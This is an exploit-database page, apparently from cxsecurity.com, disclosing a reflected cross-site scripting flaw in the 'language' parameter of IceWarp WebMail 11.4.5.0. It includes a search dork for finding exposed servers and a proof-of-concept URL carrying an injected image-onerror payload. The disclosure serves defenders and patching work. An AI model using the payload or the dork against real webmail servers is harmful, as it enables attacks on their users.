icewarp webmail 11.4.5.0 exploit

2020.10.25

0x94 (https://cxsecurity.com/author/0x94/1/) (TR)

Risk: **High** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **N/A**

Dork: (See Dorks List) inurl:/webmail/ intext:Powered by IceWarp Server

(https://cxsecurity.com/dorks/)

```
[+] Title: IceWarp WebMail Cross-Site Scripting Vulnerability
[+] Date: 2020/10/25
[+] Author: Harun
[+] Vendor Homepage: www.icewarp.com
[+] Tested on: Windows 10
[+] Versions: 11.4.5.0
[+] Vulnerable Parameter: "language" (Get Method)
[+] Vulnerable File: /webmail/
[+} Dork : inurl:/webmail/ intext:Powered by IceWarp Server

# PoC:

[+] Go to : http://localhost/webmail/
                                                   or

[+] Add the "language" parameter to the URL and write malicious code, Example: http://localhost/webmail/?language="><img src=x onerror=al
ert(1)>

[+] When the user goes to the URL, the malicious code is executed

Example Vulnerable URL: http://localhost/webmail/?language="><img src=x onerror=alert(1)> (Payload: "><img src=x onerror=alert(1)>)

example picture
https://i.hizliresim.com/FBcSbW.png
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020100161)

Lul

Vote for this issue: 👍 6 👎 0

100%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)

Copyright **2022**, cxsecurity.com